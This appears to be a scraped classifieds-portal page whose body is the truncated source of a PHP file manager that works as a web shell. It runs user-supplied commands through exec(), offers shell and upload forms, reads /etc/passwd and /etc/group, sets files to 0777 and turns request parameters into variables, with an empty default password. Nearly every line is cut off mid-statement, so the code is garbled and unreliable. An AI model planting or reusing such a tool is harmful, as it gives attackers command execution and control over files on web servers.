Free Chennai Classifieds - Number One Classified Ads Portal for Chennai India
Home
Post FREE Ad
Search Ads
Real Estate
Rentals
Jobs
Automobiles
Education
Financial Services
Computers
Electronics
Miscellaneous
Business
Health
Tours & Travel
Services
Mobile & Phone
Matrimonial
Buy & Sell
//a:9:{s:4:"lang";s:2:"en";s:9:"auth_pass";s:32:"d
/*------------------------------------------------
+-------------------------------------------------
*/
// +----------------------------------------------
//
header("Pragma: no-cache");
header("Cache-Control: no-store");
foreach ($_GET as $key => $val) $$key=htmldecode($
foreach ($_POST as $key => $val) $$key=htmldecode(
foreach ($_COOKIE as $key => $val) $$key=htmldecod
if (empty($_SERVER["HTTP_X_FORWARDED_FOR"])) $ip =
else $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; //usa
$islinux = !(strtoupper(substr(PHP_OS, 0, 3)) ===
$url_info = parse_url($_SERVER["HTTP_REFERER"]);
$doc_root = ($islinux) ? $_SERVER["DOCUMENT_ROOT"]
$script_filename = $doc_root.$_SERVER["PHP_SELF"];
$path_info = pathinfo($script_filename);
$cfg = new config();
$cfg->load();
ini_set("display_errors",1);
ini_set("error_reporting",$error_reporting);
if (!isset($dir_atual)){
$dir_atual = $path_info["dirname"]."/";
if (!$islinux) $dir_atual = ucfirst($dir_atual);
@chmod($dir_atual,0777);
} else $dir_atual = formatpath($dir_atual);
$is_reachable = (stristr($dir_atual,$doc_root)!==f
// Auto Expand Local Path
if (!isset($expanded_dir_list)){
$expanded_dir_list = "";
$mat = explode("/",$path_info["dirname"]);
for ($x=0;$x
setcookie("expanded_dir_list", $expanded_dir_list,
}
if (!isset($fm_root_atual)){
if (strlen($fm_root)) $fm_root_atual = $fm_root;
else {
if (!$islinux) $fm_root_atual = ucfirst($path_info
else $fm_root_atual = $doc_root."/";
setcookie("fm_root_atual", $fm_root_atual, 0, "/")
} elseif (isset($set_fm_root_atual)) {
if (!$islinux) $fm_root_atual = ucfirst($set_fm_ro
if (!isset($resolveIDs)){
setcookie("resolveIDs", 0, $cookie_cache_time, "/"
} elseif (isset($set_resolveIDs)){
$resolveIDs=($resolveIDs)?0:1;
setcookie("resolveIDs", $resolveIDs, $cookie_cache
if ($resolveIDs){
exec("cat /etc/passwd",$mat_passwd);
exec("cat /etc/group",$mat_group);
$fm_color['Bg'] = "EEEEEE";
$fm_color['Text'] = "000000";
$fm_color['Link'] = "992929";
$fm_color['Mark'] = "A7D2E4";
$fm_color['Dir'] = "CCCCCC";
$fm_color['File'] = "EEEEEE";
$fm_color['FileFirstCell'] = "FFFFFF";
foreach($fm_color as $tag=>$color){
$fm_color[$tag]=strtolower($color);
if ($loggedon==$auth_pass){
switch ($frame){
case 1: break; // Empty Frame
case 2: frame2(); break;
case 3: frame3(); break;
default:
switch($action){
case 1: logout(); break;
case 2: config_form(); break;
case 3: download(); break;
case 4: view(); break;
case 5: server_info(); break;
case 6: execute(); break;
case 7: edit_file_form(); break;
case 8: chmod_form(); break;
case 9: shell_form(); break;
case 10: upload_form(); break;
default: frameset();
} else {
if (isset($senha)) login();
else form_login();
class config {
var $data;
var $filename;
function config(){
global $script_filename;
$this->data = array(
'lang'=>'en',
'auth_pass'=>md5(''),
'quota_mb'=>0,
'upload_ext_filter'=>array(),
'download_ext_filter'=>array(),
'error_reporting'=>'',
'fm_root'=>'',
'cookie_cache_time'=>time()+60*60*24*30, // 30 Dia
'version'=>'0.9.3'
);
$data = false;
$this->filename = $script_filename;
if (file_exists($this->filename)){
$mat = file($this->filename);
$objdata = trim(substr($mat[1],2));
if (strlen($objdata)) $data = unserialize($objdata
if (is_array($data)&&count($data)==count($this->da
else $this->save();
function save(){
$objdata = "".chr(13).chr(10)."//".serialize($th
if (strlen($objdata)){
if ($fh = @fopen($this->filename, "w")){
@fputs($fh,$objdata,strlen($objdata));
for ($x=2;$x
@fclose($fh);
function load(){
foreach ($this->data as $key => $val) $GLOBALS[$ke
function et($tag){
global $lang;
// English
$en['Version'] = 'Version';
$en['DocRoot'] = 'Document Root';
$en['FLRoot'] = 'File Manager Root';
$en['Name'] = 'Name';
$en['And'] = 'and';
$en['Enter'] = 'Enter';
$en['Send'] = 'Send';
$en['Refresh'] = 'Refresh';
$en['SaveConfig'] = 'Save Configurations';
$en['SavePass'] = 'Save Password';
$en['SaveFile'] = 'Save File';
$en['Save'] = 'Save';
$en['Leave'] = 'Leave';
$en['Edit'] = 'Edit';
$en['View'] = 'View';
$en['Config'] = 'Config';
$en['Ren'] = 'Rename';
$en['Rem'] = 'Delete';
$en['Compress'] = 'Compress';
$en['Decompress'] = 'Decompress';
$en['ResolveIDs'] = 'Resolve IDs';
$en['Move'] = 'Move';
$en['Copy'] = 'Copy';
$en['ServerInfo'] = 'Server Info';
$en['CreateDir'] = 'Create Directory';
$en['CreateArq'] = 'Create File';
$en['ExecCmd'] = 'Execute Command';
$en['Upload'] = 'Upload';
$en['UploadEnd'] = 'Upload Finished';
$en['Perms'] = 'Permissions';
$en['Owner'] = 'Owner';
$en['Group'] = 'Group';
$en['Other'] = 'Other';
$en['Size'] = 'Size';
$en['Date'] = 'Date';
$en['Type'] = 'Type';
$en['Free'] = 'free';
$en['Shell'] = 'Shell';
$en['Read'] = 'Read';
$en['Write'] = 'Write';
$en['Exec'] = 'Execute';
$en['Apply'] = 'Apply';
$en['StickyBit'] = 'Sticky Bit';
$en['Pass'] = 'Password';
$en['Lang'] = 'Language';
$en['File'] = 'File';
$en['File_s'] = 'file(s)';
$en['Dir_s'] = 'directory(s)';
$en['To'] = 'to';
$en['Destination'] = 'Destination';
$en['Configurations'] = 'Configurations';
$en['JSError'] = 'JavaScript Error';
$en['NoSel'] = 'There are no selected itens';
$en['SelDir'] = 'Select the destination directory
$en['TypeDir'] = 'Enter the directory name';
$en['TypeArq'] = 'Enter the file name';
$en['TypeCmd'] = 'Enter the command';
$en['TypeArqComp'] = 'Enter the file name.\\nThe e
$en['RemSel'] = 'DELETE selected itens';
$en['NoDestDir'] = 'There is no selected destinati
$en['DestEqOrig'] = 'Origin and destination direct
$en['InvalidDest'] = 'Destination directory is inv
$en['NoNewPerm'] = 'New permission not set';
$en['CopyTo'] = 'COPY to';
$en['MoveTo'] = 'MOVE to';
$en['AlterPermTo'] = 'CHANGE PERMISSIONS to';
$en['ConfExec'] = 'Confirm EXECUTE';
$en['ConfRem'] = 'Confirm DELETE';
$en['EmptyDir'] = 'Empty directory';
$en['IOError'] = 'I/O Error';
$en['FileMan'] = 'PHP File Manager';
$en['TypePass'] = 'Enter the password';
$en['InvPass'] = 'Invalid Password';
$en['ReadDenied'] = 'Read Access Denied';
$en['FileNotFound'] = 'File not found';
$en['AutoClose'] = 'Close on Complete';
$en['OutDocRoot'] = 'File beyond DOCUMENT_ROOT';
$en['NoCmd'] = 'Error: Command not informed';
$en['ConfTrySave'] = 'File without write permisson
$en['ConfSaved'] = 'Configurations saved';
$en['PassSaved'] = 'Password saved';
$en['FileDirExists'] = 'File or directory already
$en['NoPhpinfo'] = 'Function phpinfo disabled';
$en['NoReturn'] = 'no return';
$en['FileSent'] = 'File sent';
$en['SpaceLimReached'] = 'Space limit reached';
$en['InvExt'] = 'Invalid extension';
$en['FileNoOverw'] = 'File could not be overwritte
$en['FileOverw'] = 'File overwritten';
$en['FileIgnored'] = 'File ignored';
$en['ChkVer'] = 'Check sf.net for new version';
$en['ChkVerAvailable'] = 'New version, click here
$en['ChkVerNotAvailable'] = 'No new version availa
$en['ChkVerError'] = 'Connection Error.';
$en['Website'] = 'Website';
$en['SendingForm'] = 'Sending files, please wait';
$en['NoFileSel'] = 'No file selected';
$en['SelAll'] = 'All';
$en['SelNone'] = 'None';
$en['SelInverse'] = 'Inverse';
$en['Selected_s'] = 'selected';
$en['Total'] = 'total';
$en['Partition'] = 'Partition';
$en['RenderTime'] = 'Time to render this page';
$en['Seconds'] = 'sec';
$en['ErrorReport'] = 'Error Reporting';
// Portuguese
$pt['Version'] = 'Versão';
$pt['DocRoot'] = 'Document Root';
$pt['FLRoot'] = 'File Manager Root';
$pt['Name'] = 'Nome';
$pt['And'] = 'e';
$pt['Enter'] = 'Entrar';
$pt['Send'] = 'Enviar';
$pt['Refresh'] = 'Atualizar';
$pt['SaveConfig'] = 'Salvar Configurações';
$pt['SavePass'] = 'Salvar Senha';
$pt['SaveFile'] = 'Salvar Arquivo';
$pt['Save'] = 'Salvar';
$pt['Leave'] = 'Sair';
$pt['Edit'] = 'Editar';
$pt['View'] = 'Visualizar';
$pt['Config'] = 'Config';
$pt['Ren'] = 'Renomear';
$pt['Rem'] = 'Apagar';
$pt['Compress'] = 'Compactar';
$pt['Decompress'] = 'Descompactar';
$pt['ResolveIDs'] = 'Resolver IDs';
$pt['Move'] = 'Mover';
$pt['Copy'] = 'Copiar';
$pt['ServerInfo'] = 'Server Info';
$pt['CreateDir'] = 'Criar Diretório';
$pt['CreateArq'] = 'Criar Arquivo';
$pt['ExecCmd'] = 'Executar Comando';
$pt['Upload'] = 'Upload';
$pt['UploadEnd'] = 'Upload Terminado';
$pt['Perms'] = 'Permissões';
$pt['Owner'] = 'Dono';
$pt['Group'] = 'Grupo';
$pt['Other'] = 'Outros';
$pt['Size'] = 'Tamanho';
$pt['Date'] = 'Data';
$pt['Type'] = 'Tipo';
$pt['Free'] = 'livre';
$pt['Shell'] = 'Shell';
$pt['Read'] = 'Ler';
$pt['Write'] = 'Escrever';
$pt['Exec'] = 'Executar';
$pt['Apply'] = 'Aplicar';
$pt['StickyBit'] = 'Sticky Bit';
$pt['Pass'] = 'Senha';
$pt['Lang'] = 'Idioma';
$pt['File'] = 'Arquivo';
$pt['File_s'] = 'arquivo(s)';
$pt['Dir_s'] = 'diretorio(s)';
$pt['To'] = 'para';
$pt['Destination'] = 'Destino';
$pt['Configurations'] = 'Configurações';
$pt['JSError'] = 'Erro de JavaScript';
$pt['NoSel'] = 'Não há itens selecionados';
$pt['SelDir'] = 'Selecione o diretório de destino
$pt['TypeDir'] = 'Digite o nome do diretório';
$pt['TypeArq'] = 'Digite o nome do arquivo';
$pt['TypeCmd'] = 'Digite o commando';
$pt['TypeArqComp'] = 'Digite o nome do arquivo.\\n
$pt['RemSel'] = 'APAGAR itens selecionados';
$pt['NoDestDir'] = 'Não há um diretório de destino
$pt['DestEqOrig'] = 'Diretório de origem e destino
$pt['InvalidDest'] = 'Diretório de destino inválid
$pt['NoNewPerm'] = 'Nova permissão não foi setada'
$pt['CopyTo'] = 'COPIAR para';
$pt['MoveTo'] = 'MOVER para';
$pt['AlterPermTo'] = 'ALTERAR PERMISSÕES para';
$pt['ConfExec'] = 'Confirma EXECUTAR';
$pt['ConfRem'] = 'Confirma APAGAR';
$pt['EmptyDir'] = 'Diretório vazio';
$pt['IOError'] = 'Erro de E/S';
$pt['FileMan'] = 'PHP File Manager';
$pt['TypePass'] = 'Digite a senha';
$pt['InvPass'] = 'Senha Inválida';
$pt['ReadDenied'] = 'Acesso de leitura negado';
$pt['FileNotFound'] = 'Arquivo não encontrado';
$pt['AutoClose'] = 'Fechar Automaticamente';
$pt['OutDocRoot'] = 'Arquivo fora do DOCUMENT_ROOT
$pt['NoCmd'] = 'Erro: Comando não informado';
$pt['ConfTrySave'] = 'Arquivo sem permissão de esc
$pt['ConfSaved'] = 'Configurações salvas';
$pt['PassSaved'] = 'Senha salva';
$pt['FileDirExists'] = 'Arquivo ou diretório já ex
$pt['NoPhpinfo'] = 'Função phpinfo desabilitada';
$pt['NoReturn'] = 'sem retorno';
$pt['FileSent'] = 'Arquivo enviado';
$pt['SpaceLimReached'] = 'Limite de espaço alcança
$pt['InvExt'] = 'Extensão inválida';
$pt['FileNoOverw'] = 'Arquivo não pode ser sobrees
$pt['FileOverw'] = 'Arquivo sobreescrito';
$pt['FileIgnored'] = 'Arquivo omitido';
$pt['ChkVer'] = 'Verificar sf.net por nova versão'
$pt['ChkVerAvailable'] = 'Nova versão, clique aqui
$pt['ChkVerNotAvailable'] = 'Não há nova versão di
$pt['ChkVerError'] = 'Erro de conexão.';
$pt['Website'] = 'Website';
$pt['SendingForm'] = 'Enviando arquivos, aguarde';
$pt['NoFileSel'] = 'Nenhum arquivo selecionado';
$pt['SelAll'] = 'Tudo';
$pt['SelNone'] = 'Nada';
$pt['SelInverse'] = 'Inverso';
$pt['Selected_s'] = 'selecionado(s)';
$pt['Total'] = 'total';
$pt['Partition'] = 'Partição';
$pt['RenderTime'] = 'Tempo para gerar esta página'
$pt['Seconds'] = 'seg';
$pt['ErrorReport'] = 'Error Reporting';
$lang_ = $$lang;
if (isset($lang_[$tag])) return htmlencode($lang_[
else return "undefined";
function total_size($arg) {
$total = 0;
if (file_exists($arg)) {
if (is_dir($arg)) {
$handle = opendir($arg);
while($aux = readdir($handle)) {
if ($aux != "." && $aux != "..") $total += total_s
closedir($handle);
} else $total = filesize($arg);
return $total;
function total_delete($arg) {
chmod($arg,0777);
if ($aux != "." && $aux != "..") total_delete($arg
rmdir($arg);
} else unlink($arg);
function total_copy($orig,$dest) {
$ok = true;
if (file_exists($orig)) {
if (is_dir($orig)) {
mkdir($dest,0777);
$handle = opendir($orig);
while(($aux = readdir($handle))&&($ok)) {
if ($aux != "." && $aux != "..") $ok = total_copy(
} else $ok = copy((string)$orig,(string)$dest);
return $ok;
function total_move($orig,$dest) {
// Just why doesn't it has a MOVE alias?!
return rename((string)$orig,(string)$dest);
function download(){
global $dir_atual,$filename;
$file = $dir_atual.$filename;
if(file_exists($file)){
$is_proibido = false;
foreach($download_ext_filter as $key=>$ext){
if (eregi($ext,$filename)){
$is_proibido = true;
break;
if (!$is_proibido){
$size = filesize($file);
header("Content-Type: application/save");
header("Content-Length: $size");
header("Content-Disposition: attachment; filename=
header("Content-Transfer-Encoding: binary");
if ($fh = fopen("$file", "rb")){
fpassthru($fh);
fclose($fh);
} else alert(et('ReadDenied').": ".$file);
} else alert(et('FileNotFound').": ".$file);
function execute(){
global $cmd;
header("Content-type: text/plain");
if (strlen($cmd)){
echo "# ".$cmd."\n";
exec($cmd,$mat);
if (count($mat)) echo trim(implode("\n",$mat));
else echo "exec(\"$cmd\") ".et('NoReturn')."...";
} else echo et('NoCmd');
function save_upload($temp_file,$filename,$dir_des
global $upload_ext_filter;
$filename = remove_acentos($filename);
$file = $dir_dest.$filename;
$filesize = filesize($temp_file);
foreach($upload_ext_filter as $key=>$ext){
if (!limite($filesize)){
if (file_exists($file)){
if (unlink($file)){
if (copy($temp_file,$file)){
chmod($file,0777);
$out = 6;
} else $out = 2;
} else $out = 5;
$out = 1;
} else $out = 3;
} else $out = 4;
return $out;
function zip_extract(){
global $cmd_arg,$dir_atual,$islinux;
$zip = zip_open($dir_atual.$cmd_arg);
if ($zip) {
while ($zip_entry = zip_read($zip)) {
if (zip_entry_filesize($zip_entry)) {
$complete_path = $path.dirname(zip_entry_name($zip
$complete_name = $path.zip_entry_name($zip_entry);
if(!file_exists($complete_path)) {
$tmp = '';
foreach(explode('/',$complete_path) AS $k) {
$tmp .= $k.'/';
if(!file_exists($tmp)) {
@mkdir($dir_atual.$tmp, 0777);
if (zip_entry_open($zip, $zip_entry, "r")) {
if ($fd = fopen($dir_atual.$complete_name, 'w')){
fwrite($fd, zip_entry_read($zip_entry, zip_entry_f
fclose($fd);
} else echo "fopen($dir_atual.$complete_name) erro
zip_entry_close($zip_entry);
} else echo "zip_entry_open($zip,$zip_entry) error
zip_close($zip);
function htmlencode($str){
return htmlentities($str);
// html_entity_decode() replacement
function html_entity_decode_for_php4_compatibility
$trans_tbl = get_html_translation_table (HTML_ENTI
$trans_tbl = array_flip ($trans_tbl);
$ret = strtr ($string, $trans_tbl);
return preg_replace('/\&\#([0-9]+)\;/me',
"chr('\\1')",$ret);
function htmldecode($str){
if (is_string($str)){
if (get_magic_quotes_gpc()) return stripslashes(ht
else return html_entity_decode($str);
} else return $str;
function rep($x,$y){
if ($x) {
$aux = "";
for ($a=1;$a<=$x;$a++) $aux .= $y;
return $aux;
} else return "";
function strzero($arg1,$arg2){
if (strstr($arg1,"-") == false){
$aux = intval($arg2) - strlen($arg1);
if ($aux) return rep($aux,"0").$arg1;
else return $arg1;
return "[$arg1]";
function replace_double($sub,$str){
$out=str_replace($sub.$sub,$sub,$str);
while ( strlen($out) != strlen($str) ){
$str=$out;
function remove_acentos($str){
$str = trim($str);
$str = strtr($str,"¥µÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝ
"YuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiio
$str = str_replace("..","",str_replace("/","",str_
return $str;
function formatpath($str){
global $islinux;
$str = str_replace("..","",str_replace("\\","/",st
$done = false;
while (!$done) {
$str2 = str_replace("//","/",$str);
if (strlen($str) == strlen($str2)) $done = true;
else $str = $str2;
$tam = strlen($str);
if ($tam){
$last_char = $tam - 1;
if ($str[$last_char] != "/") $str .= "/";
if (!$islinux) $str = ucfirst($str);
function array_csort() {
$args = func_get_args();
$marray = array_shift($args);
$msortline = "return(array_multisort(";
foreach ($args as $arg) {
$i++;
if (is_string($arg)) {
foreach ($marray as $row) {
$sortarr[$i][] = $row[$arg];
$sortarr[$i] = $arg;
$msortline .= "\$sortarr[".$i."],";
$msortline .= "\$marray));";
eval($msortline);
return $marray;
function show_perms( $in_Perms ) {
$sP = "
";
if($in_Perms & 0x1000) $sP .= 'p'; // F
elseif($in_Perms & 0x2000) $sP .= 'c'; // C
elseif($in_Perms & 0x4000) $sP .= 'd'; // D
elseif($in_Perms & 0x6000) $sP .= 'b'; // B
elseif($in_Perms & 0x8000) $sP .= '−'; //
elseif($in_Perms & 0xA000) $sP .= 'l'; // S
elseif($in_Perms & 0xC000) $sP .= 's'; // S
else $sP .= 'u'; // U
$sP .= "";
// owner - group - others
$sP .= (($in_Perms & 0x0100) ? 'r' : '−') .
$sP .= (($in_Perms & 0x0020) ? 'r' : '−') .
$sP .= (($in_Perms & 0x0004) ? 'r' : '−') .
return $sP;
function formatsize($arg) {
if ($arg>0){
$j = 0;
$ext = array(" bytes"," Kb"," Mb"," Gb"," Tb");
while ($arg >= pow(1024,$j)) ++$j;
return round($arg / pow(1024,$j-1) * 100) / 100 .
} else return "0 Mb";
function getsize($file) {
return formatsize(filesize($file));
function limite($new_filesize=0) {
global $fm_root_atual;
global $quota_mb;
if($quota_mb){
$total = total_size($fm_root_atual);
if (floor(($total+$new_filesize)/(1024*1024)) > $q
return false;
function getuser ($arg) {
global $mat_passwd;
$aux = "x:".trim($arg).":";
for($x=0;$x
if (strstr($mat_passwd[$x],$aux)){
$mat = explode(":",$mat_passwd[$x]);
return $mat[0];
return $arg;
function getgroup ($arg) {
global $mat_group;
for($x=0;$x
if (strstr($mat_group[$x],$aux)){
$mat = explode(":",$mat_group[$x]);
function html_header($plus=""){
global $fm_color;
echo "
...:::: ".et('FileMan')."
$plus
function reloadframe($ref,$frame_number,$plus=""){
global $dir_atual,$path_info;
".$ref.".frame".$frame_number.".location.href='".$
function alert($arg){
alert('$arg');
function tree($dir_antes,$dir_corrente,$indice){
global $fm_root_atual, $dir_atual, $islinux;
global $expanded_dir_list;
$indice++;
$num_dir = 0;
$dir_name = str_replace($dir_antes,"",$dir_corrent
$dir_corrente = str_replace("//","/",$dir_corrente
if ($islinux) {
$proibidos = "/proc#/dev";
$mat = explode("#",$proibidos);
foreach($mat as $key => $val){
if ($dir_corrente == $val){
unset($mat);
if ($handle = @opendir($dir_corrente)){
// Permitido
while ($file = readdir($handle)){
if ($file != "." && $file != ".." && is_dir("$dir_
$mat_dir[] = $file;
if (count($mat_dir)){
sort($mat_dir,SORT_STRING);
// Com Sub-dir
if ($indice != 0){
for ($aux=1;$aux<$indice;$aux++) echo " ";
echo "•";
if ($dir_antes != $dir_corrente){
if (strstr($expanded_dir_list,":$dir_corrente/$dir
else $op_str = "[+]";
echo "
echo "
<
for ($x=0;$x
if (($dir_antes == $dir_corrente)
tree($dir_corrente."/",$dir_corrente."/".$mat_dir[
} else flush();
// Sem Sub-dir
echo "
echo "
// Negado
echo "
<
echo "
<
// Proibido
function show_tree(){
global $fm_root_atual,$path_info,$setflag,$islinux
html_header();
echo "\
// Disable text selection
function disableTextSelection(e){return false}
function enableTextSelection(){return true}
if (is.ie) document.onselectstart=new Function('re
document.onmousedown=disableTextSelection
document.onclick=enableTextSelection
var flag = ".(($setflag)?"true":"false")."
function set_flag(arg) {
flag = arg;
function go_dir(arg) {
var setflag;
setflag = (flag)?1:0;
document.location.href='".$path_info["basename"]."
function go(arg) {
if (flag) {
parent.frame3.set_dir_dest(arg+'/');
flag = false;
parent.frame3.location.href='".$path_info["basenam
function set_fm_root_atual(arg){
document.location.href='".$path_info["basename"]."
function atualizar(){
document.location.href='".$path_info["basename"]."
echo "
echo "
";
if (!$islinux){
echo "
$aux="ABCDEFGHIJKLMNOPQRSTUVWXYZ";
for($x=0;$x
if (strstr(strtoupper($fm_root_atual),$aux[$x].":/
else $is_sel="";
echo "
".$
echo "
";
echo "
//if (!$islinux) $aux=substr($fm_root_atual,0,strl
//else
$aux=$fm_root_atual;
echo "
";
clearstatcache();
tree($aux,$aux,-1,0);
echo "
";
echo "
\n";
echo "\n";
function getmicrotime(){
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
function dir_list_form() {
global $fm_root_atual,$dir_atual,$quota_mb,$resolv
$ti = getmicrotime();
$out = "
if ($opdir = @opendir($dir_atual)) {
$entry_count = 0;
$file_count = 0;
$dir_count = 0;
$total_size = 0;
$uplink = "";
$entry_list = array();
$highlight_cols = 0;
while ($file = readdir($opdir)) {
if (($file != ".")&&($file != "..")){
if (is_file($dir_atual.$file)){
$ext = strtolower(strrchr($file,"."));
$entry_list[$entry_count]["type"] = "file";
// Função filetype() returns only "file"...
$entry_list[$entry_count]["size"] = filesize($dir_
$entry_list[$entry_count]["sizet"] = getsize($dir_
if (strstr($ext,".")){
$entry_list[$entry_count]["ext"] = $ext;
$entry_list[$entry_count]["extt"] = $ext;
$entry_list[$entry_count]["ext"] = "";
$entry_list[$entry_count]["extt"] = " ";
$file_count++;
} elseif (is_dir($dir_atual.$file)) {
// Recursive directory size disabled
// $entry_list[$entry_count]["size"] = total_size(
$entry_list[$entry_count]["size"] = 0;
$entry_list[$entry_count]["sizet"] = 0;
$entry_list[$entry_count]["type"] = "dir";
$dir_count++;
$entry_list[$entry_count]["name"] = $file;
$entry_list[$entry_count]["date"] = date("Ymd", fi
$entry_list[$entry_count]["time"] = date("his", fi
$entry_list[$entry_count]["datet"] = date("d/m/Y h
if ($islinux && $resolveIDs){
$entry_list[$entry_count]["p"] = show_perms(filepe
$entry_list[$entry_count]["u"] = getuser(fileowner
$entry_list[$entry_count]["g"] = getgroup(filegrou
$entry_list[$entry_count]["p"] = base_convert(file
$entry_list[$entry_count]["p"] = substr($entry_lis
$entry_list[$entry_count]["u"] = fileowner($dir_at
$entry_list[$entry_count]["g"] = filegroup($dir_at
$total_size += $entry_list[$entry_count]["size"];
$entry_count++;
closedir($opdir);
if ($file_count) $highlight_cols = ($islinux)?7:5;
else $highlight_cols = ($islinux)?6:4;
if($entry_count){
$or1="1A";
$or2="2D";
$or3="3A";
$or4="4A";
$or5="5A";
$or6="6D";
$or7="7D";
switch($order_dir_list_by){
case "1A": $entry_list = array_csort ($entry_list,
case "1D": $entry_list = array_csort ($entry_list,
case "2A": $entry_list = array_csort ($entry_list,
case "2D": $entry_list = array_csort ($entry_list,
case "3A": $entry_list = array_csort ($entry_list,
case "3D": $entry_list = array_csort ($entry_list,
case "4A": $entry_list = array_csort ($entry_list,
case "4D": $entry_list = array_csort ($entry_list,
case "5A": $entry_list = array_csort ($entry_list,
case "5D": $entry_list = array_csort ($entry_list,
case "6A": $entry_list = array_csort ($entry_list,
case "6D": $entry_list = array_csort ($entry_list,
case "7A": $entry_list = array_csort ($entry_list,
case "7D": $entry_list = array_csort ($entry_list,
$out .= "
function getCookieVal (offset) {
var endstr = document.cookie.indexOf (';', offset)
if (endstr == -1) endstr = document.cookie.length;
return unescape(document.cookie.substring(offset,
function getCookie (name) {
var arg = name + '=';
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen) {
var j = i + alen;
if (document.cookie.substring(i, j) == arg) return
i = document.cookie.indexOf(' ', i) + 1;
if (i == 0) break;
return null;
function setCookie (name, value) {
var argv = SetCookie.arguments;
var argc = SetCookie.arguments.length;
var expires = (argc > 2) ? argv[2] : null;
var path = (argc > 3) ? argv[3] : null;
var domain = (argc > 4) ? argv[4] : null;
var secure = (argc > 5) ? argv[5] : false;
document.cookie = name + '=' + escape (value) +
((expires == null) ? '' : ('; expires=' + expires.
((path == null) ? '' : ('; path=' + path)) +
((domain == null) ? '' : ('; domain=' + domain)) +
((secure == true) ? '; secure' : '');
function delCookie (name) {
var exp = new Date();
exp.setTime (exp.getTime() - 1);
var cval = GetCookie (name);
document.cookie = name + '=' + cval + '; expires='
document.location.href='".$path_info["basename"]."
function resolveIDs() {
document.location.href='".$path_info["basename"]."
var entry_list = new Array();
// Custom object constructor
function entry(name, type, size, selected){
this.name = name;
this.type = type;
this.size = size;
this.selected = false;
// Declare entry_list for selection procedures";
foreach ($entry_list as $i=>$data){
$out .= "\nentry_list['entry$i'] = new entry('".$d
// Select/Unselect Rows OnClick/OnMouseOver
var lastRows = new Array(null,null);
function selectEntry(Row, Action){
var MarkColor = '#".$fm_color['Mark']."';
var Cells = Row.getElementsByTagName('td');
if (multipleSelection){
// Avoid repeated onmouseover events from same Row
if (Row != lastRows[0]){
if (Action == 'over') {
if (entry_list[Row.id].selected){
if (entry_list[Row.id].type == 'dir') DefaultColor
else DefaultColor = '#".$fm_color['File']."';
if (unselect(entry_list[Row.id])) {
for (var c=0; c < ".(integer)$highlight_cols."; c+
if (c == 0 && entry_list[Row.id].type=='file' && !
else Cells[c].style.backgroundColor = DefaultColor
// Change the last Row when you change the movemen
if (lastRows[0] != null && lastRows[1] != null){
var LastRowID = lastRows[0].id;
var LastRowDefaultColor;
if (entry_list[LastRowID].type == 'dir') LastRowDe
else LastRowDefaultColor = '#".$fm_color['File']."
if (Row.id == lastRows[1].id){
var LastRowCells = lastRows[0].getElementsByTagNam
if (unselect(entry_list[LastRowID])) {
if (c == 0 && entry_list[LastRowID].type=='file' &
else LastRowCells[c].style.backgroundColor = LastR
if (select(entry_list[Row.id])){
else Cells[c].style.backgroundColor = MarkColor;
if (select(entry_list[LastRowID])) {
else LastRowCells[c].style.backgroundColor = MarkC
lastRows[1] = lastRows[0];
lastRows[0] = Row;
if (Action == 'click') {
var newColor = null;
var DefaultColor;
if (unselect(entry_list[Row.id])) newColor = Defau
if (select(entry_list[Row.id])) newColor = MarkCol
if (newColor) {
lastRows[0] = lastRows[1] = Row;
else Cells[c].style.backgroundColor = newColor;
return true;
// Disable text selection and bind multiple select
var multipleSelection = false;
if (is.ie) {
document.onselectstart=new Function('return false'
document.onmousedown=switch_flag_on;
document.onmouseup=switch_flag_off;
// Event mouseup is not generated over scrollbar..
window.onscroll=new Function('multipleSelection=fa
if (document.layers) window.captureEvents(Event.MO
if (document.layers) window.captureEvents(Event.MO
window.onmousedown=switch_flag_on;
window.onmouseup=switch_flag_off;
// Using same function and a ternary operator cous
function switch_flag_on(e) {
lastRows[0] = lastRows[1] = null;
if (is.ie){
multipleSelection = (event.button == 1);
multipleSelection = (e.which == 1);
function switch_flag_off(e) {
multipleSelection = (event.button != 1);
multipleSelection = (e.which != 1);
var total_dirs_selected = 0;
var total_files_selected = 0;
function unselect(Entry){
if (!Entry.selected) return false;
Entry.selected = false;
sel_totalsize -= Entry.size;
if (Entry.type == 'dir') total_dirs_selected--;
else total_files_selected--;
update_sel_status();
function select(Entry){
if(Entry.selected) return false;
Entry.selected = true;
sel_totalsize += Entry.size;
if(Entry.type == 'dir') total_dirs_selected++;
else total_files_selected++;
function is_anything_selected(){
var selected_dir_list = new Array();
var selected_file_list = new Array();
for(var x=0;x<".(integer)count($entry_list).";x++)
if(entry_list['entry'+x].selected){
if(entry_list['entry'+x].type == 'dir') selected_d
else selected_file_list.push(entry_list['entry'+x]
document.form_action.selected_dir_list.value = sel
document.form_action.selected_file_list.value = se
return (total_dirs_selected>0
function formatsize (arg) {
var resul = '';
if (arg>0){
var j = 0;
var ext = new Array(' bytes',' Kb',' Mb',' Gb',' T
while (arg >= Math.pow(1024,j)) ++j;
resul = (Math.round(arg/Math.pow(1024,j-1)*100)/10
} else resul = '0 Mb';
return resul;
var sel_totalsize = 0;
function update_sel_status(){
var t = total_dirs_selected+' ".et('Dir_s')." ".et
document.getElementById(\"sel_status\").innerHTML
// Select all/none/inverse
function selectANI(Butt){
for(var x=0;x<". (integer)count($entry_list).";x++
if (entry_list['entry'+x].type == 'dir'){
var DefaultColor = '#".$fm_color['Dir']."';
var DefaultColor = '#".$fm_color['File']."';
var Row = document.getElementById('entry'+x);
switch (Butt.value){
case '".et('SelAll')."':
case '".et('SelNone')."':
case '".et('SelInverse')."':
if (entry_list[Row.id].type=='file' && c==0 && !en
if (Butt.value == '".et('SelAll')."'){
Butt.value = '".et('SelNone')."';
} else if (Butt.value == '".et('SelNone')."'){
Butt.value = '".et('SelAll')."';
function download(arg){
parent.frame1.location.href='".$path_info["basenam
function upload(){
var w = 400;
var h = 200;
window.open('".$path_info["basename"]."?action=10&
document.form_action.cmd_arg.value = prompt('".et(
if(document.form_action.cmd_arg.value.length>0){
if(confirm('".et('ConfExec')." \\' '+document.form
var w = 800;
var h = 600;
window.open('".$path_info["basename"]."?action=6&d
function decompress(arg){
if(confirm('".strtoupper(et('Decompress'))." \\' '
document.form_action.action.value = 72;
document.form_action.cmd_arg.value = arg;
document.form_action.submit();
